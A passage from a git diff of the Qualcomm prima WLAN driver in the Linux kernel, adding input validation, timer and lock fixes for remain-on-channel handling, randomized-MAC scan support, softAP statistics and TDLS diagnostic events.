send_oem_err_rsp_nlink_msg(nlh->nlmsg_pid, + OEM_ERR_APP_NOT_REGISTERED); + return -EPERM; + } + + if ((!msg_hdr->length) || (OEM_DATA_REQ_SIZE < msg_hdr->length)) { + hddLog(LOGE, FL("Invalid length (%d) in Oem Data Request"), + msg_hdr->length); + send_oem_err_rsp_nlink_msg(nlh->nlmsg_pid, + OEM_ERR_INVALID_MESSAGE_LENGTH); + return -EPERM; + } + aniMsgBody = (char *)((char *)msg_hdr + sizeof(tAniMsgHdr)); + oemMsgSubType = (tANI_U32*) aniMsgBody; + hddLog(LOG1, FL("oemMsgSubType: 0x%x"), *oemMsgSubType); + + oem_process_data_req_msg(msg_hdr->length, + (char *) ((char *)msg_hdr + + sizeof(tAniMsgHdr))); + break; + + case ANI_MSG_CHANNEL_INFO_REQ: + hddLog(LOG1, + FL("Received channel info request, num channel(%d) from pid: %d"), + msg_hdr->length, nlh->nlmsg_pid); + + if ((!pHddCtx->oem_app_registered) || + (nlh->nlmsg_pid != pHddCtx->oem_pid)) { + /* either oem app is not registered yet or pid is different */ + hddLog(LOGE, + FL("Chan InfoReq: app not registered(%d) or incorrect pid(%d)"), + pHddCtx->oem_app_registered, nlh->nlmsg_pid); + send_oem_err_rsp_nlink_msg(nlh->nlmsg_pid, + OEM_ERR_APP_NOT_REGISTERED); + return -EPERM; + } + + /* message length contains list of channel ids */ + if ((!msg_hdr->length) || + (WNI_CFG_VALID_CHANNEL_LIST_LEN < msg_hdr->length)) { + hddLog(LOGE, + FL("Invalid length (%d) in channel info request"), + msg_hdr->length); + send_oem_err_rsp_nlink_msg(nlh->nlmsg_pid, + OEM_ERR_INVALID_MESSAGE_LENGTH); + return -EPERM; + } + oem_process_channel_info_req_msg(msg_hdr->length, + (char *)((char*)msg_hdr + sizeof(tAniMsgHdr))); + break; + + default: + hddLog(LOGE, + FL("Received Invalid message type (%d), length (%d)"), + msg_hdr->type, msg_hdr->length); + send_oem_err_rsp_nlink_msg(nlh->nlmsg_pid, + OEM_ERR_INVALID_MESSAGE_TYPE); + return -EPERM; + } + return 0; +} + +static int __oem_msg_callback(struct sk_buff *skb) +{ + int ret; + + vos_ssr_protect(__func__); + ret = oem_msg_callback(skb); + vos_ssr_unprotect(__func__); + + return ret; +} + +/**--------------------------------------------------------------------------- + + \brief oem_activate_service() - Activate oem message handler + + This function registers a handler to receive netlink message from + an OEM application process. + + \param - + - pAdapter - pointer to HDD adapter + + \return - 0 for success, non zero for failure + + --------------------------------------------------------------------------*/ +int oem_activate_service(void *pAdapter) +{ + pHddCtx = (struct hdd_context_s*) pAdapter; + + /* Register the msg handler for msgs addressed to WLAN_NL_MSG_OEM */ + nl_srv_register(WLAN_NL_MSG_OEM, __oem_msg_callback); + return 0; +} + + #endif diff --git a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_p2p.c b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_p2p.c index 615da70cd2234..2e4852ce1147c 100644 --- a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_p2p.c +++ b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_p2p.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015, The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -177,7 +177,6 @@ eHalStatus wlan_hdd_remain_on_channel_callback( tHalHandle hHal, void* pCtx, hdd_context_t *pHddCtx = WLAN_HDD_GET_CTX(pAdapter); rem_on_channel_request_type_t req_type; - if (pHddCtx == NULL) { hddLog(LOGE, "%s: Hdd Context is NULL", __func__); @@ -200,8 +199,16 @@ eHalStatus wlan_hdd_remain_on_channel_callback( tHalHandle hHal, void* pCtx, pRemainChanCtx->rem_on_chan_request, pRemainChanCtx->chan.center_freq, pRemainChanCtx->cookie); - vos_timer_stop(&pRemainChanCtx->hdd_remain_on_chan_timer); - vos_timer_destroy(&pRemainChanCtx->hdd_remain_on_chan_timer); + if(!VOS_IS_STATUS_SUCCESS(vos_timer_stop( + &pRemainChanCtx->hdd_remain_on_chan_timer))) + { + hddLog( LOGE, FL("Failed to stop hdd_remain_on_chan_timer")); + } + if(!VOS_IS_STATUS_SUCCESS(vos_timer_destroy( + &pRemainChanCtx->hdd_remain_on_chan_timer))) + { + hddLog( LOGE, FL("Failed to destroy hdd_remain_on_chan_timer")); + } if ( REMAIN_ON_CHANNEL_REQUEST == pRemainChanCtx->rem_on_chan_request ) { if( cfgState->buf ) @@ -250,17 +257,28 @@ eHalStatus wlan_hdd_remain_on_channel_callback( tHalHandle hHal, void* pCtx, NULL, 0 ); } mutex_lock(&pHddCtx->roc_lock); + pRemainChanCtx = cfgState->remain_on_chan_ctx; if ( pRemainChanCtx ) { + /* Trigger kernel panic if ROC timer state is not set to unused state + * before freeing the ROC ctx. + */ + if (VOS_TIMER_STATE_UNUSED != vos_timer_getCurrentState( + &pRemainChanCtx->hdd_remain_on_chan_timer)) + VOS_BUG(0); + if (pRemainChanCtx->action_pkt_buff.frame_ptr != NULL && pRemainChanCtx->action_pkt_buff.frame_length != 0) { vos_mem_free(pRemainChanCtx->action_pkt_buff.frame_ptr); } + hddLog( LOG1, FL( + "Freeing ROC ctx cfgState->remain_on_chan_ctx=%p"), + cfgState->remain_on_chan_ctx); + vos_mem_free( pRemainChanCtx ); + pRemainChanCtx = NULL; + cfgState->remain_on_chan_ctx = NULL; } - vos_mem_free( pRemainChanCtx ); - pRemainChanCtx = NULL; - cfgState->remain_on_chan_ctx = NULL; mutex_unlock(&pHddCtx->roc_lock); if (eHAL_STATUS_SUCCESS != status) complete(&pAdapter->rem_on_chan_ready_event); @@ -294,7 +312,11 @@ VOS_STATUS wlan_hdd_cancel_existing_remain_on_channel(hdd_adapter_t *pAdapter) "Cancel Existing ROC (cookie=%llu)", pRemainChanCtx->cookie); - vos_timer_stop(&pRemainChanCtx->hdd_remain_on_chan_timer); + if(!VOS_IS_STATUS_SUCCESS(vos_timer_stop( + &pRemainChanCtx->hdd_remain_on_chan_timer))) + { + hddLog( LOGE, FL("Failed to stop hdd_remain_on_chan_timer")); + } } /* Wait till remain on channel ready indication before issuing cancel * remain on channel request, otherwise if remain on channel not @@ -318,6 +340,10 @@ VOS_STATUS wlan_hdd_cancel_existing_remain_on_channel(hdd_adapter_t *pAdapter) "%s: timeout waiting for remain on channel" " ready indication %d", __func__, status); + vos_fatal_event_logs_req(WLAN_LOG_TYPE_FATAL, + WLAN_LOG_INDICATOR_HOST_DRIVER, + WLAN_LOG_REASON_HDD_TIME_OUT, + FALSE, TRUE); return VOS_STATUS_E_FAILURE; } @@ -354,8 +380,8 @@ VOS_STATUS wlan_hdd_cancel_existing_remain_on_channel(hdd_adapter_t *pAdapter) } else pRemainChanCtx->hdd_remain_on_chan_cancel_in_progress = TRUE; - mutex_unlock(&pHddCtx->roc_lock); INIT_COMPLETION(pAdapter->cancel_rem_on_chan_var); + mutex_unlock(&pHddCtx->roc_lock); /* Issue abort remain on chan request to sme. * The remain on channel callback will make sure the remain_on_chan @@ -382,14 +408,14 @@ VOS_STATUS wlan_hdd_cancel_existing_remain_on_channel(hdd_adapter_t *pAdapter) status = wait_for_completion_interruptible_timeout( &pAdapter->cancel_rem_on_chan_var, msecs_to_jiffies(WAIT_CANCEL_REM_CHAN)); + hdd_allow_suspend(WIFI_POWER_EVENT_WAKELOCK_ROC); if (0 >= status) { - hddLog( LOGE, - "%s: timeout waiting for cancel remain on channel" - " ready indication %d", - __func__, status); + hddLog(LOGE, + FL("Timeout waiting for cancel remain on channel ready indication %d"), + status); + return VOS_STATUS_E_FAILURE; } - hdd_allow_suspend(WIFI_POWER_EVENT_WAKELOCK_ROC); } else { @@ -477,8 +503,8 @@ void wlan_hdd_remain_on_chan_timeout(void *data) } pRemainChanCtx->hdd_remain_on_chan_cancel_in_progress = TRUE; - mutex_unlock(&pHddCtx->roc_lock); INIT_COMPLETION(pAdapter->cancel_rem_on_chan_var); + mutex_unlock(&pHddCtx->roc_lock); hddLog( LOG1,"%s: Cancel Remain on Channel on timeout", __func__); if ( ( WLAN_HDD_INFRA_STATION == pAdapter->device_mode ) || ( WLAN_HDD_P2P_CLIENT == pAdapter->device_mode ) || @@ -498,6 +524,9 @@ void wlan_hdd_remain_on_chan_timeout(void *data) WLANSAP_CancelRemainOnChannel( (WLAN_HDD_GET_CTX(pAdapter))->pvosContext); } + + wlan_hdd_start_stop_tdls_source_timer(pHddCtx, eTDLS_SUPPORT_ENABLED); + hdd_allow_suspend(WIFI_POWER_EVENT_WAKELOCK_ROC); } @@ -557,6 +586,9 @@ static int wlan_hdd_p2p_start_remain_on_channel( { hddLog(VOS_TRACE_LEVEL_ERROR, FL("Not able to initalize remain_on_chan timer")); + hddLog( LOG1, FL( + "Freeing ROC ctx cfgState->remain_on_chan_ctx=%p"), + cfgState->remain_on_chan_ctx); cfgState->remain_on_chan_ctx = NULL; vos_mem_free(pRemainChanCtx); mutex_unlock(&pHddCtx->roc_lock); @@ -597,9 +629,21 @@ static int wlan_hdd_p2p_start_remain_on_channel( FL(" RemainOnChannel returned fail")); mutex_lock(&pHddCtx->roc_lock); - cfgState->remain_on_chan_ctx = NULL; - vos_timer_destroy(&pRemainChanCtx->hdd_remain_on_chan_timer); - vos_mem_free (pRemainChanCtx); + pRemainChanCtx = cfgState->remain_on_chan_ctx; + hddLog( LOG1, FL( + "Freeing ROC ctx cfgState->remain_on_chan_ctx=%p"), + cfgState->remain_on_chan_ctx); + if (pRemainChanCtx) + { + if(!VOS_IS_STATUS_SUCCESS(vos_timer_destroy + (&pRemainChanCtx->hdd_remain_on_chan_timer))) + { + hddLog( LOGE, FL( + "Failed to destroy hdd_remain_on_chan_timer")); + } + vos_mem_free(pRemainChanCtx); + cfgState->remain_on_chan_ctx = NULL; + } mutex_unlock(&pHddCtx->roc_lock); hdd_allow_suspend(WIFI_POWER_EVENT_WAKELOCK_ROC); return -EINVAL; @@ -629,9 +673,21 @@ static int wlan_hdd_p2p_start_remain_on_channel( VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, "%s: WLANSAP_RemainOnChannel returned fail", __func__); mutex_lock(&pHddCtx->roc_lock); - cfgState->remain_on_chan_ctx = NULL; - vos_timer_destroy(&pRemainChanCtx->hdd_remain_on_chan_timer); - vos_mem_free (pRemainChanCtx); + pRemainChanCtx = cfgState->remain_on_chan_ctx; + hddLog( LOG1, FL( + "Freeing ROC ctx cfgState->remain_on_chan_ctx=%p"), + cfgState->remain_on_chan_ctx); + if (pRemainChanCtx) + { + if(!VOS_IS_STATUS_SUCCESS(vos_timer_destroy + (&pRemainChanCtx->hdd_remain_on_chan_timer))) + { + hddLog( LOGE, FL( + "Failed to destroy hdd_remain_on_chan_timer")); + } + vos_mem_free (pRemainChanCtx); + cfgState->remain_on_chan_ctx = NULL; + } mutex_unlock(&pHddCtx->roc_lock); hdd_allow_suspend(WIFI_POWER_EVENT_WAKELOCK_ROC); return -EINVAL; @@ -653,6 +709,8 @@ static int wlan_hdd_p2p_start_remain_on_channel( } + wlan_hdd_start_stop_tdls_source_timer(pHddCtx, eTDLS_SUPPORT_DISABLED); + pAdapter->is_roc_inprogress = TRUE; EXIT(); return 0; @@ -713,11 +771,15 @@ static int wlan_hdd_request_remain_on_channel( struct wiphy *wiphy, return -EBUSY; } - /* When P2P-GO and if we are trying to unload the driver then - * wlan driver is keep on receiving the remain on channel command - * and which is resulting in crash. So not allowing any remain on - * channel requets when Load/Unload is in progress*/ - if(hdd_isConnectionInProgress((hdd_context_t *)pAdapter->pHddCtx)) + if (TRUE == pHddCtx->btCoexModeSet) + { + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, + FL("BTCoex Mode operation in progress")); + return -EBUSY; + } + + if(hdd_isConnectionInProgress((hdd_context_t *)pAdapter->pHddCtx, NULL, + NULL)) { hddLog( LOGE, "%s: Connection is in progress", __func__); @@ -726,6 +788,9 @@ static int wlan_hdd_request_remain_on_channel( struct wiphy *wiphy, mutex_lock(&pHddCtx->roc_lock); + if (cfgState->remain_on_chan_ctx) + VOS_BUG(0); + pRemainChanCtx = vos_mem_malloc( sizeof(hdd_remain_on_chan_ctx_t) ); if( NULL == pRemainChanCtx ) { @@ -1053,7 +1118,10 @@ int __wlan_hdd_cfg80211_cancel_remain_on_channel( struct wiphy *wiphy, if (cfgState->remain_on_chan_ctx) cfgState->remain_on_chan_ctx->is_pending_roc_cancelled = TRUE; mutex_unlock(&pHddCtx->roc_lock); - + vos_fatal_event_logs_req(WLAN_LOG_TYPE_FATAL, + WLAN_LOG_INDICATOR_HOST_DRIVER, + WLAN_LOG_REASON_HDD_TIME_OUT, + FALSE, TRUE); return 0; } @@ -1068,7 +1136,11 @@ int __wlan_hdd_cfg80211_cancel_remain_on_channel( struct wiphy *wiphy, } if (NULL != cfgState->remain_on_chan_ctx) { - vos_timer_stop(&cfgState->remain_on_chan_ctx->hdd_remain_on_chan_timer); + if(!VOS_IS_STATUS_SUCCESS(vos_timer_stop( + &cfgState->remain_on_chan_ctx->hdd_remain_on_chan_timer))) + { + hddLog( LOGE, FL("Failed to stop hdd_remain_on_chan_timer")); + } if (TRUE == pRemainChanCtx->hdd_remain_on_chan_cancel_in_progress) { mutex_unlock(&pHddCtx->roc_lock); @@ -1089,8 +1161,8 @@ int __wlan_hdd_cfg80211_cancel_remain_on_channel( struct wiphy *wiphy, else pRemainChanCtx->hdd_remain_on_chan_cancel_in_progress = TRUE; } - mutex_unlock(&pHddCtx->roc_lock); INIT_COMPLETION(pAdapter->cancel_rem_on_chan_var); + mutex_unlock(&pHddCtx->roc_lock); /* Issue abort remain on chan request to sme. * The remain on channel callback will make sure the remain_on_chan * expired event is sent. @@ -1201,7 +1273,7 @@ int __wlan_hdd_mgmt_tx( struct wiphy *wiphy, struct net_device *dev, int status; #if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,38)) - hdd_adapter_t *goAdapter; + uint8_t home_ch = 0; #endif ENTER(); @@ -1336,12 +1408,21 @@ int __wlan_hdd_mgmt_tx( struct wiphy *wiphy, struct net_device *dev, } #if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,38)) - goAdapter = hdd_get_adapter( pAdapter->pHddCtx, WLAN_HDD_P2P_GO ); - + if ( (( WLAN_HDD_SOFTAP == pAdapter->device_mode ) || + ( WLAN_HDD_P2P_GO == pAdapter->device_mode )) && + (test_bit(SOFTAP_BSS_STARTED, &pAdapter->event_flags))) + { + home_ch = pAdapter->sessionCtx.ap.operatingChannel; + } + else if ((pAdapter->device_mode == WLAN_HDD_INFRA_STATION) && + (pAdapter->sessionCtx.station.conn_info.connState == + eConnectionState_Associated)) + { + home_ch = pAdapter->sessionCtx.station.conn_info.operationChannel; + } //If GO adapter exists and operating on same frequency //then we will not request remain on channel - if( goAdapter && ( ieee80211_frequency_to_channel(chan->center_freq) - == goAdapter->sessionCtx.ap.operatingChannel ) ) + if (ieee80211_frequency_to_channel(chan->center_freq) == home_ch) { /* if GO exist and is not off channel * wait time should be zero. @@ -1386,8 +1467,12 @@ int __wlan_hdd_mgmt_tx( struct wiphy *wiphy, struct net_device *dev, else if ( actionFrmType == WLAN_HDD_GO_NEG_CNF || actionFrmType == WLAN_HDD_INVITATION_RESP ) wait = wait + ACTION_FRAME_ACK_WAIT; - vos_timer_stop( - &pRemainChanCtx->hdd_remain_on_chan_timer); + + if (!VOS_IS_STATUS_SUCCESS(vos_timer_stop( + &pRemainChanCtx->hdd_remain_on_chan_timer))) + { + hddLog( LOGE, FL("Failed to stop hdd_remain_on_chan_timer")); + } status = vos_timer_start( &pRemainChanCtx->hdd_remain_on_chan_timer, wait); @@ -1532,7 +1617,9 @@ int __wlan_hdd_mgmt_tx( struct wiphy *wiphy, struct net_device *dev, goto err; } } - else if (WLAN_HDD_P2P_GO == pAdapter->device_mode) + else if( ( WLAN_HDD_SOFTAP== pAdapter->device_mode ) || + ( WLAN_HDD_P2P_GO == pAdapter->device_mode ) + ) { if( VOS_STATUS_SUCCESS != WLANSAP_SendAction( (WLAN_HDD_GET_CTX(pAdapter))->pvosContext, @@ -1698,11 +1785,25 @@ void hdd_sendActionCnf( hdd_adapter_t *pAdapter, tANI_BOOLEAN actionSendSuccess cfgState->actionFrmState = HDD_IDLE; - hddLog( LOG1, "Send Action cnf, actionSendSuccess %d", actionSendSuccess); if( NULL == cfgState->buf ) { return; } + if (cfgState->is_go_neg_ack_received) + { + cfgState->is_go_neg_ack_received = 0; + /* Sometimes its possible that host may receive the ack for GO + * negotiation req after sending go negotaition confirmation, + * in such case drop the ack received for the go negotiation + * request, so that supplicant waits for the confirmation ack + * from firmware. + */ + hddLog( LOG1, FL("Drop the pending ack received in cfgState->actionFrmState %d"), + cfgState->actionFrmState); + return; + } + + hddLog( LOG1, "Send Action cnf, actionSendSuccess %d", actionSendSuccess); /* If skb is NULL it means this packet was received on CFG80211 interface * else it was received on Monitor interface */ @@ -2486,8 +2587,12 @@ void __hdd_indicate_mgmt_frame(hdd_adapter_t *pAdapter, extend_time = ACTION_FRAME_DEFAULT_WAIT; if (completion_done(&pAdapter->rem_on_chan_ready_event)) { - vos_timer_stop( - &pRemainChanCtx->hdd_remain_on_chan_timer); + if(!VOS_IS_STATUS_SUCCESS(vos_timer_stop( + &pRemainChanCtx->hdd_remain_on_chan_timer))) + { + hddLog( LOGE, FL( + "Failed to stop hdd_remain_on_chan_timer")); + } status = vos_timer_start( &pRemainChanCtx->hdd_remain_on_chan_timer, extend_time); @@ -2524,6 +2629,8 @@ void __hdd_indicate_mgmt_frame(hdd_adapter_t *pAdapter, } } if (pRemainChanCtx != NULL && + vos_timer_is_initialized( + &cfgState->remain_on_chan_ctx->hdd_remain_on_chan_timer) && VOS_TIMER_STATE_RUNNING != vos_timer_getCurrentState( &cfgState->remain_on_chan_ctx->hdd_remain_on_chan_timer)) hddLog( LOG1, "%s:" @@ -2538,6 +2645,8 @@ void __hdd_indicate_mgmt_frame(hdd_adapter_t *pAdapter, { hddLog(LOG1, "%s: ACK_PENDING and But received RESP for Action frame ", __func__); + cfgState->is_go_neg_ack_received = 1; + hdd_sendActionCnf(pAdapter, TRUE); } } @@ -2577,6 +2686,9 @@ void __hdd_indicate_mgmt_frame(hdd_adapter_t *pAdapter, hddLog(VOS_TRACE_LEVEL_INFO,"[TDLS] %s <--- OTA", tdls_action_frame_type[actionFrmType]); } + vos_tdls_tx_rx_mgmt_event(SIR_MAC_ACTION_TDLS, + SIR_MAC_ACTION_RX, SIR_MAC_MGMT_ACTION, + actionFrmType, &pbFrames[WLAN_HDD_80211_FRM_DA_OFFSET+6]); } if((pbFrames[WLAN_HDD_PUBLIC_ACTION_FRAME_OFFSET] == WLAN_HDD_QOS_ACTION_FRAME)&& diff --git a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_scan.c b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_scan.c index 709fdec127a25..3cc5b1d19705f 100644 --- a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_scan.c +++ b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_scan.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -514,7 +514,7 @@ static eHalStatus hdd_IndicateScanResult(hdd_scan_info_t *scanInfo, tCsrScanResu event.cmd = IWEVCUSTOM; p = custom; p += scnprintf(p, MAX_CUSTOM_LEN, " Age: %lu", - vos_timer_get_system_ticks() - descriptor->nReceivedTime); + vos_timer_get_system_time() - descriptor->nReceivedTime); event.u.data.length = p - custom; current_event = iwe_stream_add_point (scanInfo->info,current_event, end, &event, custom); @@ -542,11 +542,16 @@ static eHalStatus hdd_IndicateScanResult(hdd_scan_info_t *scanInfo, tCsrScanResu --------------------------------------------------------------------------*/ -VOS_STATUS hdd_processSpoofMacAddrRequest(hdd_context_t *pHddCtx) +void __hdd_processSpoofMacAddrRequest(struct work_struct *work) { + hdd_context_t *pHddCtx = + container_of(to_delayed_work(work), hdd_context_t, spoof_mac_addr_work); ENTER(); + if (wlan_hdd_validate_context(pHddCtx)) + return; + mutex_lock(&pHddCtx->spoofMacAddr.macSpoofingLock); if (pHddCtx->spoofMacAddr.isEnabled) { @@ -556,7 +561,7 @@ VOS_STATUS hdd_processSpoofMacAddrRequest(hdd_context_t *pHddCtx) pHddCtx->spoofMacAddr.isEnabled = FALSE; mutex_unlock(&pHddCtx->spoofMacAddr.macSpoofingLock); hddLog(LOGE, FL("Failed to generate random Mac Addr")); - return VOS_STATUS_E_FAILURE; + return; } } @@ -584,7 +589,14 @@ VOS_STATUS hdd_processSpoofMacAddrRequest(hdd_context_t *pHddCtx) EXIT(); - return VOS_STATUS_SUCCESS; + return; +} + +void hdd_processSpoofMacAddrRequest(struct work_struct *work) +{ + vos_ssr_protect(__func__); + __hdd_processSpoofMacAddrRequest(work); + vos_ssr_unprotect(__func__); } /**--------------------------------------------------------------------------- @@ -825,7 +837,24 @@ int __iw_set_scan(struct net_device *dev, struct iw_request_info *info, scanRequest.uIEFieldLen = pHddCtx->scan_info.scanAddIE.length; scanRequest.pIEField = pHddCtx->scan_info.scanAddIE.addIEdata; } - + if (pHddCtx->spoofMacAddr.isEnabled && + pHddCtx->cfg_ini->enableMacSpoofing == 1) + { + hddLog(LOG1, FL("MAC Spoofing enabled for current scan")); + /* + * Updating SelfSta Mac Addr in TL which will be used to get + * staidx to fill TxBds for probe request during current scan + */ + status = WLANTL_updateSpoofMacAddr(pHddCtx->pvosContext, + &pHddCtx->spoofMacAddr.randomMacAddr, + &pAdapter->macAddressCurrent); + + if (status != eHAL_STATUS_SUCCESS) + { + hddLog(LOGE, FL("Failed to update MAC Spoof Addr in TL")); + goto error; + } + } status = sme_ScanRequest( (WLAN_HDD_GET_CTX(pAdapter))->hHal, pAdapter->sessionId,&scanRequest, &scanId, &hdd_ScanRequestCallback, dev ); if (!HAL_STATUS_SUCCESS(status)) { diff --git a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_softap_tx_rx.c b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_softap_tx_rx.c index 0ed3742acfbe4..9c881f3b2992e 100644 --- a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_softap_tx_rx.c +++ b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_softap_tx_rx.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -96,6 +96,8 @@ extern void hdd_set_wlan_suspend_mode(bool suspend); #define HDD_SAP_TX_TIMEOUT_RATELIMIT_BURST 1 #define HDD_SAP_TX_STALL_SSR_THRESHOLD 5 #define HDD_SAP_TX_STALL_RECOVERY_THRESHOLD HDD_SAP_TX_STALL_SSR_THRESHOLD - 2 +#define HDD_SAP_TX_STALL_FATAL_EVENT_THRESHOLD 2 + static DEFINE_RATELIMIT_STATE(hdd_softap_tx_timeout_rs, \ HDD_SAP_TX_TIMEOUT_RATELIMIT_INTERVAL, \ @@ -276,11 +278,46 @@ static VOS_STATUS hdd_softap_flush_tx_queues( hdd_adapter_t *pAdapter ) return status; } +/** + * hdd_softap_get_connected_sta() - provide number of connected STA + * @pHostapdAdapter: pAdapter for SAP + * + * This function is invoked for SAP mode to get connected STA. + * + * Return: Total number of connected STA to SAP. + */ +v_U8_t hdd_softap_get_connected_sta(hdd_adapter_t *pHostapdAdapter) +{ + v_U8_t i, sta_ct = 0; + v_CONTEXT_t pVosContext = NULL; + ptSapContext pSapCtx = NULL; + + pVosContext = (WLAN_HDD_GET_CTX(pHostapdAdapter))->pvosContext; + pSapCtx = VOS_GET_SAP_CB(pVosContext); + if (pSapCtx == NULL) { + VOS_TRACE(VOS_MODULE_ID_SAP, VOS_TRACE_LEVEL_INFO, + FL("psapCtx is NULL")); + goto error; + } + + spin_lock_bh(&pSapCtx->staInfo_lock); + // get stations associated with SAP + for (i = 0; i < WLAN_MAX_STA_COUNT; i++) { + if (pSapCtx->aStaInfo[i].isUsed && + (!vos_is_macaddr_broadcast(&pSapCtx->aStaInfo[i].macAddrSTA))) + sta_ct++; + } + spin_unlock_bh( &pSapCtx->staInfo_lock ); + +error: + return sta_ct; +} + /**============================================================================ - @brief hdd_softap_hard_start_xmit() - Function registered with the Linux OS for - transmitting packets. There are 2 versions of this function. One that uses - locked queue and other that uses lockless queues. Both have been retained to - do some performance testing + @brief __hdd_softap_hard_start_xmit() - Function registered with the Linux OS + for transmitting packets. There are 2 versions of this function. One that + uses locked queue and other that uses lockless queues. Both have been + retained to do some performance testing @param skb : [in] pointer to OS packet (sk_buff) @param dev : [in] pointer to Libra network device @@ -288,7 +325,7 @@ static VOS_STATUS hdd_softap_flush_tx_queues( hdd_adapter_t *pAdapter ) @return : NET_XMIT_DROP if packets are dropped : NET_XMIT_SUCCESS if packet is enqueued succesfully ===========================================================================*/ -int hdd_softap_hard_start_xmit(struct sk_buff *skb, struct net_device *dev) +int __hdd_softap_hard_start_xmit(struct sk_buff *skb, struct net_device *dev) { VOS_STATUS status; WLANTL_ACEnumType ac = WLANTL_AC_BE; @@ -416,6 +453,8 @@ int hdd_softap_hard_start_xmit(struct sk_buff *skb, struct net_device *dev) { VOS_TRACE( VOS_MODULE_ID_HDD_SAP_DATA, VOS_TRACE_LEVEL_WARN, "%s: station %d ac %d queue over limit %d", __func__, STAId, ac, pktListSize); + ++pAdapter->hdd_stats.hddTxRxStats.txXmitBackPressured; + ++pAdapter->hdd_stats.hddTxRxStats.txXmitBackPressuredAC[ac]; pSapCtx->aStaInfo[STAId].txSuspended[ac] = VOS_TRUE; netif_stop_subqueue(dev, skb_get_queue_mapping(skb)); txSuspended = VOS_TRUE; @@ -523,6 +562,15 @@ int hdd_softap_hard_start_xmit(struct sk_buff *skb, struct net_device *dev) return os_status; } +int hdd_softap_hard_start_xmit(struct sk_buff *skb, struct net_device *dev) +{ + int ret; + vos_ssr_protect(__func__); + ret = __hdd_softap_hard_start_xmit(skb, dev); + vos_ssr_unprotect(__func__); + return ret; +} + /**============================================================================ @brief hdd_softap_sta_2_sta_xmit This function for Transmitting the frames when the traffic is between two stations. @@ -734,6 +782,8 @@ void __hdd_softap_tx_timeout(struct net_device *dev) "%s: Cannot recover from Data stall Issue SSR", __func__); WLANTL_FatalError(); + // reset count after issuing the SSR + pAdapter->hdd_stats.hddTxRxStats.continuousTxTimeoutCount = 0; return; } @@ -748,7 +798,15 @@ void __hdd_softap_tx_timeout(struct net_device *dev) hdd_wmm_tx_snapshot(pAdapter); WLANTL_TLDebugMessage(WLANTL_DEBUG_TX_SNAPSHOT); } - + /* Call fatal event if data stall is for + * HDD_TX_STALL_FATAL_EVENT_THRESHOLD times + */ + if (HDD_SAP_TX_STALL_FATAL_EVENT_THRESHOLD == + pAdapter->hdd_stats.hddTxRxStats.continuousTxTimeoutCount) + vos_fatal_event_logs_req(WLAN_LOG_TYPE_FATAL, + WLAN_LOG_INDICATOR_HOST_DRIVER, + WLAN_LOG_REASON_DATA_STALL, + FALSE, TRUE); } void hdd_softap_tx_timeout(struct net_device *dev) diff --git a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_tdls.c b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_tdls.c index 22f1e2c4a8c3e..b6b7906b85998 100644 --- a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_tdls.c +++ b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_tdls.c @@ -56,13 +56,7 @@ int wpa_tdls_is_allowed_force_peer(tdlsCtx_t *pHddTdlsCtx, u8 *mac); static void wlan_hdd_tdls_implicit_send_discovery_request(tdlsCtx_t *pHddTdlsCtx); #endif -static u8 wlan_hdd_tdls_hash_key ( -#if (LINUX_VERSION_CODE >= KERNEL_VERSION(3,18,0)) - const u8 *mac -#else - u8 *mac -#endif - ) +static u8 wlan_hdd_tdls_hash_key (const u8 *mac) { int i; u8 key = 0; @@ -73,6 +67,95 @@ static u8 wlan_hdd_tdls_hash_key ( return key; } +#ifdef FEATURE_WLAN_DIAG_SUPPORT +/** + * hdd_send_wlan_tdls_teardown_event()- send TDLS teardown event + * + * @reason: reason for tear down. + * @peer_mac: peer mac + * + * This Function send TDLS teardown diag event + * + * Return: void. + */ +void hdd_send_wlan_tdls_teardown_event(uint32_t reason, + uint8_t *peer_mac) +{ + WLAN_VOS_DIAG_EVENT_DEF(tdls_tear_down, + struct vos_event_tdls_teardown); + vos_mem_zero(&tdls_tear_down, + sizeof(tdls_tear_down)); + + tdls_tear_down.reason = reason; + vos_mem_copy(tdls_tear_down.peer_mac, + peer_mac, HDD_MAC_ADDR_LEN); + WLAN_VOS_DIAG_EVENT_REPORT(&tdls_tear_down, + EVENT_WLAN_TDLS_TEARDOWN); +} + +/** + * hdd_wlan_tdls_enable_link_event()- send TDLS enable link event + * + * @peer_mac: peer mac + * @is_off_chan_supported: Does peer supports off chan + * @is_off_chan_configured: If off channel is configured + * @is_off_chan_established: If off chan is established + * + * This Function send TDLS enable link diag event + * + * Return: void. + */ + +void hdd_wlan_tdls_enable_link_event(const uint8_t *peer_mac, + uint8_t is_off_chan_supported, + uint8_t is_off_chan_configured, + uint8_t is_off_chan_established) +{ + WLAN_VOS_DIAG_EVENT_DEF(tdls_event, + struct vos_event_tdls_enable_link); + vos_mem_zero(&tdls_event, + sizeof(tdls_event)); + + vos_mem_copy(tdls_event.peer_mac, + peer_mac, 